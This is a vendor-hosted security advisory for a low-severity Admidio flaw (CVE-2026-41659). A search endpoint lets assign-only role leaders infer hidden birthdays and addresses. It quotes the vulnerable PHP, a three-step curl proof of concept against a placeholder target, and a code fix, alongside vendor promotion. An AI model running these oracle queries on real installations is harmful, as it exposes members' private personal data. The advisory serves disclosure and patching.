Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
LOW severity

GHSA-68pr-7prh-mpv4 — admidio/admidio

LOW

GHSA-68pr-7prh-mpv4 is a low-severity (CVSS 2.7) Information Exposure vulnerability in admidio/admidio. A fix is available for admidio/admidio — see the affected versions and patch details below.

Admidio Leaks Hidden Profile Field Values via Blind Search Oracle in Member Assignment

Also known asCVE-2026-41659
Published
Apr 29, 2026
Updated
May 8, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 25, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-68pr-7prh-mpv4.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs23th percentile — riskier than 23% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-68pr-7prh-mpv4 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘admidio/admidio

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The member assignment DataTables endpoint (members_assignment_data.php) includes hidden profile fields (BIRTHDAY, STREET, CITY, POSTCODE, COUNTRY) in its SQL search condition regardless of field visibility settings. While the JSON output correctly suppresses hidden columns via isVisible() checks, the server-side search operates at the SQL level before any visibility filtering. This allows a role leader with assign-only permissions to infer hidden PII values by observing which users appear in search results for specific values.

Details

The search columns are hardcoded at modules/groups-roles/members_assignment_data.php:118-126:

$searchColumns = array(
    'COALESCE(last_name, \' \')',
    'COALESCE(first_name, \' \')',
    'COALESCE(birthday, \' \')',    // hidden field - no visibility check
    'COALESCE(street, \' \')',      // hidden field - no visibility check
    'COALESCE(city, \' \')',        // hidden field - no visibility check
    'COALESCE(zip_code, \' \')',    // hidden field - no visibility check
    'COALESCE(country, \' \')'      // hidden field - no visibility check
);

These columns are concatenated into a SQL LIKE search at line 139:

$searchCondition .= ' AND LOWER(CONCAT(' . implode(', ', $searchColumns) . ')) LIKE LOWER(CONCAT(\'%\', ' . $searchValue . ', \'%\')) ';

The SQL query at lines 200-235 fetches all these fields via LEFT JOINs on adm_user_data, and the search condition is applied as a subquery filter at lines 258-262:

$sql = 'SELECT usr_id, usr_uuid, last_name, first_name, birthday, city, street, zip_code, country, ...
      FROM (' . $mainSql . ') AS members
       ' . $searchCondition . $orderCondition . $limitCondition;

The output visibility checks at lines 291-335 correctly call $gProfileFields->isVisible('BIRTHDAY', $gCurrentUser->isAdministratorUsers()), which returns false when usf_hidden=1 and the user is not an admin. However, this only controls whether the column appears in the JSON response — the result set has already been filtered by the search.

The authorization check at line 77 uses allowedToAssignMembers() (src/Roles/Entity/Role.php:98-121), which passes for role leaders with ROLE_LEADER_MEMBERS_ASSIGN (value 1). These leaders do not have isAdministratorUsers() privileges, so isVisible() returns false for hidden fields — but the search still operates on them.

PoC

# Prerequisites:
# - Authenticated as a role leader with ROLE_LEADER_MEMBERS_ASSIGN rights
# - BIRTHDAY field is configured as hidden (usf_hidden = 1)
# - Target role has a known UUID

# Step 1: Baseline - get all members without search filter
curl -b 'PHPSESSID=<session>' \
  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D='

# Response: returns all users. Birthday column is NOT in output (hidden).
# Note recordsFiltered count.

# Step 2: Search for a specific birthday value
curl -b 'PHPSESSID=<session>' \
  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D=1990-03-15'

# Response: only users whose hidden birthday matches "1990-03-15" appear.
# Birthday column is still NOT in output, but result set is filtered by it.
# User names (always visible) reveal which users have that birthday.

# Step 3: Enumerate hidden street addresses
curl -b 'PHPSESSID=<session>' \
  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D=123+Main+St'

# Response: only users living at "123 Main St" appear in results.
# Address fields are hidden in output but the search matched against them.

Impact

A role leader with assign-only permissions (the lowest leader privilege level) can extract hidden PII for all organization members including:

  • Birthdays — exact date of birth for any user
  • Street addresses — full street address
  • Cities and postal codes — location information
  • Countries — nationality/residence

This is a blind oracle attack: hidden field values are never displayed, but by searching for specific values and observing the filtered result set (user names and recordsFiltered count), an attacker can determine which users match any hidden field value. This defeats the administrator's intent in marking these fields as hidden.

Recommended Fix

Filter search columns by visibility before constructing the SQL search condition. Replace lines 118-126 with:

$searchColumns = array(
    'COALESCE(last_name, \' \')',
    'COALESCE(first_name, \' \')',
);

$isAdmin = $gCurrentUser->isAdministratorUsers();
if ($gProfileFields->isVisible('BIRTHDAY', $isAdmin)) {
    $searchColumns[] = 'COALESCE(birthday, \' \')';
}
if ($gProfileFields->isVisible('STREET', $isAdmin)) {
    $searchColumns[] = 'COALESCE(street, \' \')';
}
if ($gProfileFields->isVisible('CITY', $isAdmin)) {
    $searchColumns[] = 'COALESCE(city, \' \')';
}
if ($gProfileFields->isVisible('POSTCODE', $isAdmin)) {
    $searchColumns[] = 'COALESCE(zip_code, \' \')';
}
if ($gProfileFields->isVisible('COUNTRY', $isAdmin)) {
    $searchColumns[] = 'COALESCE(country, \' \')';
}

This ensures the SQL search only operates on fields the current user is authorized to see, matching the behavior of the output visibility checks.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistadmidio/admidioall versions5.0.9composer require admidio/admidio:^5.0.9

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for admidio/admidio, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update admidio/admidio to 5.0.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-68pr-7prh-mpv4 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-68pr-7prh-mpv4 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-68pr-7prh-mpv4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The member assignment DataTables endpoint (`members_assignment_data.php`) includes hidden profile fields (BIRTHDAY, STREET, CITY, POSTCODE, COUNTRY) in its SQL search condition regardless of field visibility settings. While the JSON output correctly suppresses hidden columns via `isVisible()` checks, the server-side search operates at the SQL level before any visibility filtering. This allows a role leader with assign-only permissions to infer hidden PII values by observing which users appear in search results for specific values. ## Details The search columns are hardcoded at `m
O3 Security · Impact-Aware SCA

Is GHSA-68pr-7prh-mpv4 in your dependencies?

O3 Security finds GHSA-68pr-7prh-mpv4 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-68pr-7prh-mpv4: admidio/admidio | O3 Security